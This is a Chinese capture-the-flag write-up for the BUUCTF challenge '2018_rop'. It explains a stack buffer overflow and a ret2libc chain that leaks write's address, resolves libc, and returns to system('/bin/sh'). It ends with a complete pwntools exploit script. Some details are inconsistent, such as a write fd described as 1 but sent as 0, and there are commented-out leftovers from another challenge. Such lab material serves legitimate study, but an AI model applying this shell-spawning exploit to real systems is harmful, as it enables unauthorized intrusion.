BUUCTF PWN 铁人三项(第五赛区)_2018_rop
1.经典的没有libc类型题目
检查了下只有一个
ssize_t vulnerable_function()
{
char buf[136]; // [esp+10h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
2.溢出漏洞可以利用 buf0x88
利用思路:
利用write函数来泄露程序的libc版本
即write函数 ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
这边解释一下第一个payload
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位
知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
offset=write_addr-libc.dump('write') #计算偏移量
#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
覆盖返回地址为system(‘/bin/sh’),获取shell
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
整体exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 25687)
# r = process("./pwn2_sctf_2016")
elf = ELF("2018_rop")
#system_addr=elf.sym['system']
# printf_plt = elf.plt['printf']
# printf_got = elf.got['printf']
#start = elf.sym['_start']
# r.recvline()
#printf_addr = u32(r.recv(4))
# log.success("printf addr => {}".format(hex(printf_addr)))
# libc = LibcSearcher("printf", printf_addr)
# base = printf_addr - libc.dump("printf")
# system = base + libc.dump("system")
# binsh = base + libc.dump("str_bin_sh")
#system = printf_addr -0xe6e0
#binsh = printf_addr +0x11000b
#payload1 = flat([ 'a'*(0x2c+4), system, start, binsh ])
#r.sendlineafter("How many bytes do you want me to read?", "-1")
#r.sendlineafter("of data!", payload1).decode('unicode_escape')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
payload='a'*(0x88+4)+p32(write_plt).decode('unicode_escape')+p32(main).decode('unicode_escape')+p32(0).decode('unicode_escape')+p32(write_got).decode('unicode_escape')+p32(4).decode('unicode_escape')
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload='a'*(0x88+4)+p32(system_addr).decode('unicode_escape')+p32(0).decode('unicode_escape')+p32(bin_sh).decode('unicode_escape')
r.sendline(payload)
r.interactive()